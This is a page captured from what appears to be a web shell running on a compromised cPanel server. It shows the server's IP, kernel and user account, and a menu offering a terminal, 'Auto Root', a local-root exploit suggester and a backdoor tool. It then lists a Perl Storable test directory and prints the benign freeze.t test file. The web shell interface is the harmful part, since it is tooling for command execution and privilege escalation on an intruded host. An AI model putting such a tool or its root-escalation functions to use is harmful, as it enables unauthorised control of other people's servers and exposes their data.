Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
dist /
Storable /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
HAS_ATTACH.pm
121
B
-r--r--r--
2014-12-27 11:48
HAS_HOOK.pm
82
B
-r--r--r--
2014-12-27 11:48
HAS_OVERLOAD.pm
185
B
-r--r--r--
2014-12-27 11:48
attach.t
1007
B
-r--r--r--
2014-12-27 11:48
attach_errors.t
6.65
KB
-r--r--r--
2014-12-27 11:48
attach_singleton.t
2.32
KB
-r--r--r--
2014-12-27 11:48
blessed.t
6.77
KB
-r--r--r--
2014-12-27 11:48
canonical.t
3.46
KB
-r--r--r--
2014-12-27 11:49
circular_hook.t
1.98
KB
-r--r--r--
2014-12-27 11:48
code.t
7.23
KB
-r--r--r--
2014-12-27 11:48
compat01.t
1.15
KB
-r--r--r--
2014-12-27 11:48
compat06.t
3.25
KB
-r--r--r--
2014-12-27 11:48
croak.t
949
B
-r--r--r--
2014-12-27 11:48
dclone.t
2.19
KB
-r--r--r--
2014-12-27 11:48
destroy.t
362
B
-r--r--r--
2014-12-27 11:48
downgrade.t
17.41
KB
-r--r--r--
2014-12-27 11:48
file_magic.t
13.23
KB
-r--r--r--
2014-12-27 11:48
forgive.t
1.51
KB
-r--r--r--
2014-12-27 11:48
freeze.t
2.56
KB
-r--r--r--
2014-12-27 11:48
integer.t
6.08
KB
-r--r--r--
2014-12-27 11:48
interwork56.t
5.95
KB
-r--r--r--
2014-12-27 11:48
just_plain_nasty.t
4.24
KB
-r--r--r--
2014-12-27 11:48
leaks.t
626
B
-r--r--r--
2014-12-27 11:48
lock.t
1014
B
-r--r--r--
2014-12-27 11:48
make_56_interwork.pl
1.45
KB
-r--r--r--
2014-12-27 11:48
make_downgrade.pl
2.23
KB
-r--r--r--
2014-12-27 11:48
make_overload.pl
177
B
-r--r--r--
2014-12-27 11:48
malice.t
10.3
KB
-r--r--r--
2014-12-27 11:48
overload.t
2.04
KB
-r--r--r--
2014-12-27 11:48
recurse.t
5.74
KB
-r--r--r--
2014-12-27 11:48
restrict.t
3.42
KB
-r--r--r--
2014-12-27 11:48
retrieve.t
1.34
KB
-r--r--r--
2014-12-27 11:48
robust.t
309
B
-r--r--r--
2014-12-27 11:48
sig_die.t
734
B
-r--r--r--
2014-12-27 11:48
st-dump.pl
3.35
KB
-r--r--r--
2014-12-27 11:48
store.t
1.76
KB
-r--r--r--
2014-12-27 11:48
testlib.pl
865
B
-r--r--r--
2014-12-27 11:48
threads.t
1.8
KB
-r--r--r--
2014-12-27 11:48
tied.t
4.12
KB
-r--r--r--
2014-12-27 11:48
tied_hook.t
4.59
KB
-r--r--r--
2014-12-27 11:48
tied_items.t
1.07
KB
-r--r--r--
2014-12-27 11:48
tied_store.t
924
B
-r--r--r--
2014-12-27 11:48
utf8.t
1.14
KB
-r--r--r--
2014-12-27 11:48
utf8hash.t
5.26
KB
-r--r--r--
2014-12-27 11:48
weak.t
3.46
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
#!./perl # # Copyright (c) 1995-2000, Raphael Manfredi # # You may redistribute only under the same terms as Perl 5, as specified # in the README file that comes with the distribution. # sub BEGIN { unshift @INC, 't'; unshift @INC, 't/compat' if $] < 5.006002; require Config; import Config; if ($ENV{PERL_CORE} and $Config{'extensions'} !~ /\bStorable\b/) { print "1..0 # Skip: Storable was not built\n"; exit 0; } require 'st-dump.pl'; } use Storable qw(freeze nfreeze thaw); use Test::More tests => 21; $a = 'toto'; $b = \$a; $c = bless {}, CLASS; $c->{attribute} = $b; $d = {}; $e = []; $d->{'a'} = $e; $e->[0] = $d; %a = ('key', 'value', 1, 0, $a, $b, 'cvar', \$c); @a = ('first', undef, 3, -4, -3.14159, 456, 4.5, $d, \$d, \$e, $e, $b, \$a, $a, $c, \$c, \%a); my $f1 = freeze(\@a); isnt($f1, undef); $dumped = &dump(\@a); isnt($dumped, undef); $root = thaw($f1); isnt($root, undef); $got = &dump($root); isnt($got, undef); is($got, $dumped); package FOO; @ISA = qw(Storable); sub make { my $self = bless {}; $self->{key} = \%main::a; return $self; }; package main; $foo = FOO->make; my $f2 = $foo->freeze; isnt($f2, undef); my $f3 = $foo->nfreeze; isnt($f3, undef); $root3 = thaw($f3); isnt($root3, undef); is(&dump($foo), &dump($root3)); $root = thaw($f2); is(&dump($foo), &dump($root)); is(&dump($root3), &dump($root)); $other = freeze($root); is(length$other, length $f2); $root2 = thaw($other); is(&dump($root2), &dump($root)); $VAR1 = [ 'method', 1, 'prepare', 'SELECT table_name, table_owner, num_rows FROM iitables where table_owner != \'$ingres\' and table_owner != \'DBA\'' ]; $x = nfreeze($VAR1); $VAR2 = thaw($x); is($VAR2->[3], $VAR1->[3]); # Test the workaround for LVALUE bug in perl 5.004_04 -- from Gisle Aas sub foo { $_[0] = 1 } $foo = []; foo($foo->[1]); eval { freeze($foo) }; is($@, ''); # Test cleanup bug found by Claudio Garcia -- RAM, 08/06/2001 my $thaw_me = 'asdasdasdasd'; eval { my $thawed = thaw $thaw_me; }; isnt($@, ''); my %to_be_frozen = (foo => 'bar'); my $frozen; eval { $frozen = freeze \%to_be_frozen; }; is($@, ''); freeze {}; eval { thaw $thaw_me }; eval { $frozen = freeze { foo => {} } }; is($@, ''); thaw $frozen; # used to segfault here pass("Didn't segfault"); SKIP: { skip 'no av_exists', 2 unless $] >= 5.006; my (@a, @b); eval ' $a = []; $#$a = 2; $a->[1] = undef; $b = thaw freeze $a; @a = map { ~~ exists $a->[$_] } 0 .. $#$a; @b = map { ~~ exists $b->[$_] } 0 .. $#$b; '; is($@, ''); is("@a", "@b"); }